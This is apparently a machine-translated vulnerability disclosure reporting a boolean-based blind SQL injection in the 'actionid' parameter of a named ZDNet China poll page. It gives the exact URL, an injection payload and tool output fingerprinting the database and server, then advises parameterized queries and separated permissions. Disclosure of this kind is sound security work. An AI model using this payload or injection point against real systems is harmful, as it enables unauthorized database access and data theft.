Top-web SQL blind Note 3 core library contains thousands of tables and Solutions

Top-web SQL blind Note 3 core library contains thousands of tables and Solutions

Blind SQL injection to the top network affects four core databases. An important database contains thousands of tables.
Cloud computing and big data are all Keywords of the top network.

The "actionid" parameter is not filtered, resulting in injection:

Http://soft.zdnet.com.cn/files/poll_show.php? Actionid = 84

Place: GETParameter: actionid    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: actionid=84 AND 4803=4803---[19:28:12] [INFO] testing MySQL[19:28:12] [INFO] confirming MySQL[19:28:16] [INFO] the back-end DBMS is MySQLweb application technology: Apache 2.2.0, PHP 5.2.14back-end DBMS: MySQL >= 5.0.0

Affected database:
 

The "zdnet" core library contains thousands of tables:
 

Data is very important, so it won't be dumped too much:
 

Solution:

When constructing an SQL query, use parameterized query and validation input to perform a comprehensive security check or filter on user input data. Pay special attention to check whether the query contains special HTML characters. These checks or filters must be completed on the server side. We recommend that you filter common dangerous characters.


This database has more than the previous one. It is best to separate database permissions.